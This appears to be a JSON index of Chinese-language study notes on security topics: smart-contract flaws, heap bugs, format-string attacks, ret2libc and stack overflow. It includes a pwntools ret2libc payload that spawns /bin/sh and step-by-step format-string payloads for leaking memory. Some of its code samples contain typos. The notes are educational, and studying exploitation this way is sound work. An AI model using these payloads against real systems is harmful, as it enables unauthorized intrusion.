存储区哈希值 codeHash: 代码区哈希值 两个外部账户之间的交易只是一个价值转移；而外部账户和合约账户之间的交易会激活合约账户的代码，允许进行各种操作 交易\r交易指的是外部账户发送到另一账户的的消息的签名数据包 交易内容 from: 交易发送者地址 to: 交易接收者地址，如果为空代表创建或调用智能合约 value: 转移的以太币数量 data: 数据字段，如果存在，说明是一个创建或调用智能合约的交易 gaslimit: 交易允许消耗的最大gas数量 gasprice: 愿意发送给gas矿工的单价 nonce: 区分同一账户的不容交易的标记 hash: 以上信息生成的散列值 r,s,v: 签名信息 交易类型： 执行转账的交易 创建智能合约的交易 调用智能合约的交易 RPC\rJSON-RPC是一种无状态、轻量级的远程过程调用(RPC)协议。它定义了几种数据结构及处理规则。用于实现软件应用程序与Etheremu区块链的交互 转账\r操作过程： 生成一个交易，使用私钥签名 被签名的交易被广播到P2P网络 矿工将交易包含在一个块中 确认资金转账 燃料(Gas)\r需要设置Gas的原因: 处理停机问题（无限循环） Gas limit: 用户单次交易的gas上限 Gas price: Gas的当前单价，在交易前由用户设置，以Wei为单位 交易费用: Gas*Gas_price Gas消耗： 对于一般交易，消耗为21000 对于智能合约，取决于消耗的资源————执行的命令和使用的存储 EVM\r每个Etheremu节点都包含一个虚拟机，该虚拟机被称为EVM，发挥执行智能合约代码和更改并广播全局状态的作用 特性： 图灵完备性（存在Gas限制） 无浮点数 无系统时钟 核心设计目标: 确定性: 保证相同的输入必定有相同的输出 隔离性: 合约在沙盒环境中运行，不直接访问主机系统 可终止性: 通过Gas限制执行步骤 结构： 基于堆栈 注: 栈式架构特点 所有计算依赖操作数栈 没有通用寄存器 指令隐式操作栈 内存模型： 栈 结构 2字节，最深1024层 易失性 内存 结构 按字寻址的字节数组，可动态扩展 易失性 操作指令 mload(offset): 从内存偏移量处读32字节 mstore(offset,value): 将32字节value写入偏移量offset处 Gas成本: 初始免费，扩容时按每32字节支付Gas 存储 结构 每个合约有独立的持久化键值存储 映射规则: 2^256个键，每个键对应一个32字节的值 特性 持久化: 数据永久写入区块链状态 高Gas成本: 写入消耗成千乃至上万Gas 操作指令 sstore(key,value): 从栈上依次弹出value和key，将value存入存储中key对应的槽位 sload(key): 从栈顶弹出key，将存储中key对应的槽位的数据压入栈 代币合约\rERC-20代币合约\rERC-20是一种通用的智能合约规范，特点是每一个代币都和其他代币完全相等。它是资产通证化的最广泛使用标准 包含API方法和事件 totalSupply: 定义token总供应量 balancdOf: 返回钱包地址包含的token余额 transfer: 从总供应中转移一定数量token并发给用户 transferFrom: 在用户之间传输token approve: 验证是否允许在考虑总供应量的情况下分配一定的token allowance: 检查是否有余额向另一个账户发送token Uniswap\rUniswap是一个完成不同代币间的交易的自动化流动协议 注：自动化流动协议定义 自动化流动性协议是一种利用预定义的数学公式（如恒定乘积公式）和部署在区块链上的智能合约，自动管理用户贡献的资产池（流动性池），并为用户提供无需许可、去中心化、自动定价和执行的代币交换服务的系统。它完全消除了对传统订单簿和专业做市商的依赖，通过算法和社区提供的流动性实现市场功能。 每个（或对）Uniswap智能合约管理着一个由两个ERC-20代币储备组成的流动池 任何人都可以成为池的流动性提供者（LP），即存入基础代币来换取池代币 在池中维持价格：套利 货币对充当市商的角色，根据恒定乘积公式提供替换服务 恒定乘积公式可以简单地表示为$x * y = k$，说明交易不能改变一对储备余额的乘积 $k$通常被称为不变量。这个公式对规模较大的交易的执行速度比小的要慢得多 在实践中Uniswap对交易收取0.30%的费用，这笔费用被存入储备中 ERC-777代币合约\r被ERC-20类似，ERC-777也是一种可替换代币标准，交易时允许更复杂的交互 它的最重要功能是接收hook Etheremu安全漏洞和攻击方式\r重进入攻击\r核心漏洞：“先提款后记账” 具体实现：在提款函数(withdraw)中递归调用，在记录的存款变化前反复提取存款 防御方式： 检查-效果-交互模式: 按照执行检查、改变状态变量、执行与其他合同的交互的顺序运行 使用修饰符锁定（互斥锁）: 即设置一个标识符，当发生与其他合同交互时设置标识符，标识符重置1前无法再进行交互 调用与委托调用攻击\r基本概念：调用与委托调用\r调用: 调用另一个智能合约中的函数 委托调用: 执行来自另一个智能合约的函数，使用调用者的存储和上下文 UUPS(通用可升级代理标准)\r架构: 代理合约拆分\n示意图 代理合约(Proxy) 永久储存所有状态变量 持有逻辑合约地址 通过fallback函数将所有调用用delegatecall转发给逻辑合约 逻辑合约(Logic) 包含实际业务代码 无状态 可被替换（升级） UUPS漏洞: 未初始化\r如果UUPS合同未初始化，那么攻击者可以调用initialize()函数，实现“攻击者成为所有者” 攻击步骤 攻击者成为所有者 部署恶意合约 劫持升级过程 执行恶意代码 ","date":"2025-07-11T22:01:05+08:00","permalink":"https://example.com/p/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/","title":"智能合约"},{"content":"Heap vulnerabilities\r前置知识：malloc/free\r堆通过malloc/free来管理空间。可能存在如下安全漏洞： 释放后使用（UAF） 双重释放 差一错误 堆的使用规范\r当malloc的指针传递给free后禁止再对该指针进行读写操作 不要在堆分配中使用或泄漏未初始化的信息 不要读取或写入超过堆分配结束的字节 不要重复传递从malloc到free的指针 在分配开始前不要读取或写入字节 不要传递不是由malloc初始化的指针给free 在检查函数是否返回NULL前不要引用malloc指针 堆的内存分配\r内存分配方式\r堆内存是通过从内核调用sbrk系统来分配的 使用mmap来处理大内存分配，这是堆外分配，不在下面的讨论之内 堆相关微观结构\rmalloc_chunk\r我们称malloc申请的内存为chunk，在ptmalloc内部用malloc_chunk结构体表示，定义如下： 1 2 3 4 5 6 7 8 9 10 11 struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* 前一个相邻块的大小（仅当它空闲时有效）。否则被当前块的用户数据覆盖*/ INTERNAL_SIZE_T size; /*存储当前块的总大小（字节数）*/ struct malloc_chunk* fd; /* 前向指针 - 仅空闲时有效 */ struct malloc_chunk* bk; /* 后向指针 - 仅空闲时有效 */ struct malloc_chunk* fd_nextsize; /* 大块专用：指向下一个不同大小的块 */ struct malloc_chunk* bk_nextsize; /* 大块专用：指向上一个不同大小的块 */ } 字段解释： prev_size: 如果该chunk的物理相邻的前一个chunk是空闲的，在这里记录前一个chunk的大小；否则这里记录的是前一个chunk的数据。 size: 该chunk的大小，该大小必须是MALLOC_ ALIGNMENT的整数倍。如果不是，那么会被转换为满足大小的最小的MALLOC_ ALIGNMENT的整数倍，这通过request2size()宏完成。另外该字段的低三位对不记录大小，它们从高到低分别表示： NON_MAIN_ARENA: 记录当前chunk是否不属于主线程，1表示不属于，0表示属于 IS_MAPPED: 记录当前chunk是否是被mmap分配的 PREV_INUSE: 记录前一个chunk块是否被分配。一般来说，队中的第一个被分配的chunk块的size字段的P位都会设置为1，以防止访问前面的非法内存。当一个chunk的size地段的P位为0时，可以通过prev_size字段来获取上一个chunk的大小以及内存地址 fd,bk: chunk处于分配状态时，从fd字段开始是用户的数据。chunk空闲时，会被添加到对应的空闲管理链表中，其字段的含义如下 fd指向下一个（非物理相邻）空闲的chunk bk指向上一个（非物理相邻）空闲的\u0026rsquo;chunk` fd_nextsize， bk_nextsize: 也是只有 chunk 空闲的时候才使用，不过其用于较大的 chunk（large chunk）。 fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块，不包含 bin 的头指针。 bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块，不包含 bin 的头指针。 一般空闲的 large chunk 在 fd 的遍历顺序中，按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。 chunk结构 栈示意图： * 一个已经分配的 chunk 的样子如上。我们称前两个字段称为 chunk header，后面的部分称为 user data。每次 malloc 申请得到的内存指针，其实指向 user data 的起始处。\r当一个 chunk 处于使用状态时，它的下一个 chunk 的 prev_size域无效，所以下一个 chunk 的该部分也可以被当前 chunk 使用。这就是 chunk 中的空间复用。\r* 被释放的`chunk`被记录在链表中（可能是循环双向链表，也可能是单向链表）。可以发现如果一个`chunk`处于free状态，会有两个位置记录其相应的大小。即本身的size字段和后面的`chunck`。一般情况下，物理相邻的两个空闲`chunck`会被合并为一个。堆管理器会通过 prev_size 字段以及 size 字段合并两个物理相邻的空闲`chunk`块\rbin\rbin的定义\r堆管理器需要跟踪释放的块，以便malloc可以在分配请求期间重用它们 堆管理器维护一系列被称为\u0026quot;bin\u0026quot;的列表来最大限度地提高分配和释放的速度 bin的分类\r共有5种容器：62个小容器，63个大容器，1个未排序容器，10个高速缓存容器，以及每个线程独有的64个线程缓存容器（如果启用） 小容器、大容器以及未排序容易被用于实现堆的基本回收策略，高速缓存容器和线程缓存容器则是实现优化 small bin\rlarge bin\runsorted bin\rfast bin\rtchache bin\r堆相关宏观结构\rArena\r每个arena就是一个独立的堆，独立地管理chunk和bin 对于每个新加入的线程，会试图找到一个没有其他线程正在使用的arena，并且将该arena附加到该线程上。 如果所有arena都被现有的线程使用，那么会创建一个新的arena，注意arena数量存在上限，对于32位架构为2*CPU内核数，对于64位架构为8*CPU内核数。 如果arena数量达到上限，将会出现线程共用aren以及随之而来的线程等待的可能。 堆上漏洞\rUAF(USE-AFTER-FREE)\r错误：在释放了堆上的内存后引用（又名悬垂指针引用） 后果：攻击者可以使用被释放的指针控制数据写入 错误示例： 1 2 3 4 5 6 7 8 9 10 11 12 int main(int argc, char** argv) { char *buf1, *buf2, *buf3; buf1 = (char*)malloc(BUFSIZE1); free(buf1); buf2 = (char*)malloc(BUFSIZE2); buf3 = (char*)malloc(BUFSIZE3); strncpy(buf1, argv[1], BUFSIZE-1); } 在该例子中，当buf1被释放后，该内存就立刻可以重用，之后在为buf2和buf3分配空间时可能分配了该内存。使用被释放的指针进行写操作就可能会覆盖buf2和buf3 利用UAF: 覆盖控制流数据 预防UAF: 将被释放的指针设置为NULL 双重释放(Double Free)\r示例： 1 2 3 4 5 6 7 8 9 int main(int argc, char** argv) { buf1 = (char*)malloc(BUFSIZE1); free(buf1); buf2 = (char*)malloc(BUFSIZE2); strbncpy(buf2, argv[1], BUFSIZE2-1); free(buf1); free(buf2); } 代码工作： 释放buf1，然后分配buf2 buf2可能占用buf1相同的内存空间 buf2获取用户提供的数据 再次释放buf1 其中可能使用一些buf2数据作为元数据 并且可能打乱buf2的元数据 然后是buf2，此时使用了混乱的元数据 双重释放可以达到与堆溢出漏洞类似的效果，可以使用类似的方式预防 空字节溢出(Off- by-Null)\r堆溢出一字节: 将缓冲区改为0 利用方式: 将P从1改写为0 这将导致前一个块被视为空闲 下一个块的释放会将空闲块合并 攻击流程： 分配内存，定位地址 空字节溢出 断链 写入覆盖 ","date":"2025-07-11T22:01:00+08:00","permalink":"https://example.com/p/%E5%A0%86%E6%BC%8F%E6%B4%9E/","title":"堆漏洞"},{"content":"Format string\r前置知识：可变参数函数\r处理可变参数函数的头文件：stdarg.h\r核心组件：\r类型定义va_list 作用：保存可变参数信息的上下文对象（本质是指向参数栈的指针） 用法： 1 va_list args; //声明参数变量列表 宏函数 va_start 作用：初始化va_list，使其指向第一个可变参数 访问参数前必须调用 va_arg 作用：获取当前参数的值（返回值），并且移动至下一个参数 va_end 作用：清理va_list资源 访问结束后必须调用 va_copy(C99新增) 作用：复制va_list的当前状态 用于嵌套访问 示例代码： 实现自定义的printf函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #include\u0026lt;stdarg.h\u0026gt; void my_printf(const char* format, ...) { va_lists arg; va_start(arg, format); while(*format) { if(*format == \u0026#39;%\u0026#39;) { format++; switch(*format) { case\u0026#39;d\u0026#39;: { int num = va_arg(arg, int); print_int(num); break; } case\u0026#39;s\u0026#39;: { char* str = vaarg(arg, char*); print_str(str); break; } } } else { putchar(*format); } format++; } va_end(arg); } 实现多加数加法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #incclude\u0026lt;stdarg.h\u0026gt; int add_multiple_values(int argcount, ...) { int counter, res = 0; va_list arg; va_start(arg, argcount); for(counter=0; counter\u0026lt;argcount, counter++) { res += va_arg(arg. int); } va_end(arg); return res; } 格式化字符串漏洞\r核心原理\r格式化输出的栈上分布 示例 代码 1 printf(\u0026#34;Color %s, Number %d, Float %4.2f\u0026#34;, \u0026#34;red\u0026#34;, 123456, 3.14); 栈示意图 泄露内存\r核心思想: printf是依次打印栈上的数据，即可以通过printf(\u0026quot;%x\u0026quot;)直接打印栈上内容 泄露栈内存\r以以下程序为例：\n1 2 3 4 5 6 7 8 9 #include \u0026lt;stdio.h\u0026gt; int main() { char s[100]; int a = 1, b = 0x22222222, c = -1; scanf(\u0026#34;%s\u0026#34;, s); printf(\u0026#34;%08x.%08x.%08x.%s\\n\u0026#34;, a, b, c, s); printf(s); return 0; } 编译运行后有\n1 2 3 %08x.%08x.%08x 00000001.22222222.ffffffff.%08x.%08x.%08x ffcfc400.000000c2.f765a6bb 打印出了栈上后续三个字的值\n泄露任意地址内存\r核心思想：利用%s访问的是栈上地址，将想要访问的地址写入栈上特定位置，然后使用%s访问输出 详细操作步骤 Step1:确定偏移量（参数位置） 1 2 payload = b\u0026#34;AAAA.%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p\u0026#34; io.sendline(payload) 输出示例 1 AAAA.0xffffd09c.0x100.0x80491fe.0xffffd144.0xf7fbe780.0xf7d93374.0x41414141 观察到AAAA的十六进制值0x41414141出现在第7个位置。这个偏移量用于后面指定printf访问的参数位置 Step2:构造地址载荷 1 2 target_addr = 0x804c02c # 要泄露的地址 payload = p32(target_addr) # 打包为小端序 Step3:指定读取位置 1 payload += b\u0026#34;%7$s\u0026#34; #使用步骤1确定的偏移量 Step4:选择读取方式 Step5:发送并解析数据 1 2 3 4 5 6 7 8 9 10 # 发送完整payload payload = p32(target_addr) + b\u0026#34;%7$s\u0026#34; io.sendline(payload) # 接收输出 output = io.recvuntil(b\u0026#34;done\u0026#34;) # 根据程序输出调整 # 解析泄露数据 leak_start = output.find(p32(target_addr)) + 4 # 跳过地址本身 leaked_data = output[leak_start:-10] # 去除尾部\u0026#34;id is...done\u0026#34; Step6:清理输出 1 2 3 4 5 6 7 8 9 10 11 12 # 接收并清理输出 io.recvuntil(b\u0026#34;Address of id is 0x\u0026#34;) # 跳过提示 addr_str = io.recvline().strip() # 获取地址（可选） io.recvuntil(b\u0026#34;you typed: \u0026#34;) # 跳过输入回显 # 接收实际泄露数据 leaked = io.recvuntil(b\u0026#34;\\n\u0026#34;, drop=True) # 处理二进制地址 if leaked.startswith(p32(target_addr)): leaked = leaked[4:] # 移除开头的地址副本 覆盖内存\r核心思想：利用%n 1 %n，将成功输出的字符个数写入对应的整型指针参数所指的变量。 通用操作：构造特定长度的填充，将目标内容，即填充部分长度，写入目标地址。具体操作与泄露类似。 ","date":"2025-07-11T22:00:00+08:00","permalink":"https://example.com/p/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2/","title":"格式化字符串"},{"content":"Return to libc\rret2libc的意义： 绕过 DEP（Data Execution Prevention）\rCanary\rCannary是一种栈溢出保护机制。是在栈上返回地址前插入一个随机值，该随机值被称为canary。在函数返回前检查canary是否被篡改，如果被篡改，则立刻终止程序 原理：栈溢出时会覆盖返回值下方（低位）的内容，即canary 带canary的栈布局示意图 DEP\r可以发现在Stack overflow中介绍的攻击方式是通过拿shell实现的，因此只要禁止在数据段中执行程序就可以阻止该攻击方式。 DEP就是通过这种方式实现的保护机制 相关知识： 冯诺伊曼架构与哈佛架构 在冯诺伊曼架构中所有代码都是数据，所以可以通过注入数据插入可执行代码 哈佛架构将虚拟地址空间划分为数据区和代码区，代码区是可读（R）和可执行（X）的，数据区域是可读（R）和可写（W）的。任何区域都不能是同时可读，可执行和可写的。 攻破DEP的方式：代码复用攻击\rDEP阻止了我们直接注入代码，但是代码一定要通过外界注入吗？ 可以发现程序和库同样是有函数的，因此我们可以利用其中的函数构建出我们需要的攻击。 理念：重用程序和库中的代码（不需要代码注入） return to libc: 将返回地址替换为危险函数的地址 例： 1 execve(\u0026#34;/bin/sh\u0026#34;); 思路： 找到系统函数的地址 找到字符串\u0026quot;/bin/sh\u0026quot; 将\u0026quot;/bin/sh\u0026quot;传递给系统函数 操作： Step1: 可以使用gdb来查找系统功能地址 Step2: 使用系统环境变量（不稳定） 定义环境变量 示例: 1 2 3 4 5 6 7 8 9 10 11 12 set MYSHELL=“/bin/sh” int main(int argc, char **argv) { printf(\u0026#34;ret2libc start \\n\u0026#34;); char *shell = (char *) getenv(\u0026#34;MYSHELL\u0026#34;); if (shell) { printf(\u0026#34;address %p \\n\u0026#34;, shell); } vul(); printf(\u0026#34;ret2libc end \\n\u0026#34;); return 0; } Step3: 注入： 注入后堆栈展示： 构造注入展示： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * # 获取地址（需提前泄露） system_addr = 0xb7e3dda0 # system()地址 bin_sh_addr = 0xb7f6e5aa # \u0026#34;/bin/sh\u0026#34;地址 exit_addr = 0xb7e369d0 # exit()地址 (可选) # 构造payload offset = 140 # 到返回地址的偏移量 payload = b\u0026#39;A\u0026#39; * offset # 填充缓冲区 payload += p32(system_addr) # 覆盖返回地址 payload += p32(exit_addr) # system()的返回地址 payload += p32(bin_sh_addr) # 参数1: \u0026#34;/bin/sh\u0026#34; # 发送payload io = process(\u0026#39;./vuln_program\u0026#39;) io.sendline(payload) io.interactive() 对上述ret2libc的防护：ASLR\rASLR：\r可以发现，上面的攻击方式中的核心步骤之一是获取系统函数的地址，因此容易想到，如果我们能够阻止获取系统函数地址，就可以实现对上述攻击方式的防护。 ASLR：随机化关键内存基地址 Linux中ASLR分为三级 0：无随机化 1：保留的随机化，共享库、栈、mmp()和VSDO随机化 2：完全的随机化，通过brk()分配的内存空间也会随机化 ","date":"2025-07-11T21:59:45+08:00","permalink":"https://example.com/p/%E8%BF%94%E5%9B%9E%E5%BA%93%E6%96%87%E4%BB%B6/","title":"返回库文件"},{"content":"栈溢出（stack overflow）\r一些术语/概念\r类型安全（Type safety） In computer science, type safety and type soundness are the extent to which a programming language discourages or prevents type errors. ————From wikipidiea 前置知识：x86架构下函数调用中的栈变化\r初始：\n栈示意图： 压入参数（arg1， arg2）\n指令： 1 2 push arg2 push arg1 ;注意，逆序压入参数 栈示意图： 调用函数\n指令 1 2 3 4 call fuc ; 等价于 push eip+5 ;5为call指令的长度 jmp fuc 栈示意图 函数序言（Prologue）\n指令： 1 2 3 push ebp ;保存调用者的EBP mov ebp, esp ;设置当前函数的EBP sub esp, 8 ;为局部变量分配空间（示例中分配8字节） 栈示意图 访问数据\n指令： 1 2 3 mov eax, [ebp+8] ;访问arg1 mov ebx, [ebp+12] ;访问arg2 mov ecx, [ebp-4] ;访问val1 栈示意图 函数尾声\n指令 1 2 3 mov esp, ebp ;释放局部变量 pop ebp ;恢复调用者ebp ret ;返回到调用者 栈示意图(Epilogue) 调用者清理参数\n指令 1 sub esp, 8 栈示意图： 栈溢出\r缓冲区溢出\r当数据写入到分配给特定数据结构的内存边界范围之外时，就会发生缓冲区溢出\n当缓冲区边界被忽略和未检查时会发生\n示例： 1 2 3 4 5 6 7 8 #include\u0026lt;stdio.h\u0026gt; int main() { char a[5]; gets(a); puts(a); printf(\u0026#34;%c\u0026#34;, a[5]); } 直接编译\n1 gcc buffer_overflow1.c 可以看到如下warning\n1 2 3 4 5 6 7 buffer_overflow1.c: In function ‘main’: buffer_overflow1.c:6:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] 6 | gets(a); | ^~~~ | fgets /usr/bin/ld: /tmp/ccA63mQo.o: in function `main\u0026#39;: buffer_overflow1.c:(.text+0x28): warning: the `gets\u0026#39; function is dangerous and should not be used. 这是因为gets(puts)是一个不安全的函数，缺少缓冲区边界检查，即没有对读入字符个数的检查和限制。 现在编译后的可执行文件\n1 ./a.out 输入6个字母abcdef，可以看到如下输出\n1 2 3 4 abcdef abcdef *** stack smashing detected ***: terminated Aborted (core dumped) 可以看到程序被终止，并且给出了*** stack smashing detected ***: terminated，这是由堆栈保护机制（Stack Smashing Protection, SSP）发出的警告信息。当编译器开启了 SSP 选项（例如 GCC 的 -fstack-protector 或 -fstack-protector-all）时，它会在函数栈帧中插入一个被称为“canary”（金丝雀）的随机值。如果缓冲区溢出发生，覆盖了返回地址，那么这个 canary 值也会被改变。在函数返回之前，程序会检查这个 canary 值是否被篡改。如果被篡改，就意味着发生了缓冲区溢出，程序会立即终止执行，并打印这个警告信息。 现在在关闭相关保护机制的情况下编译\n1 gcc -fno-stack-protector -no-pie buffer_overflow1.c 其中的编译选项含义如下：\n-fno-stack-protector: 禁用堆栈保护（stack canary）。这会阻止编译器在缓冲区溢出发生时自动终止程序。 -no-pie: 禁用位置独立可执行文件（Position Independent Executable），使得程序加载到固定的内存地址。这与另一种针对栈溢出的防御地址空间布局随机化（ASLR）有关。 运行后得到如下输出\n1 2 3 abcdef abcdef f 可以看到输入的字符成功覆盖了字符串的后一个字节。即可以利用栈溢出篡改内存中的字节，这是栈溢出攻击的基本原理。\n利用栈溢出的攻击方式————拿shell\r即通过栈溢出注入shellcode来获取目标程序的shell，得到shell后就可以劫持数据流\n","date":"2025-07-11T21:59:00+08:00","permalink":"https://example.com/p/%E6%A0%88%E6%BA%A2%E5%87%BAstack-overflow%E4%B8%8E%E5%87%BD%E6%95%B0%E8%B0%83%E7%94%A8%E4%B8%AD%E7%9A%84%E6%A0%88%E5%8F%98%E5%8C%96/","title":"栈溢出（Stack Overflow）与函数调用中的栈变化"}]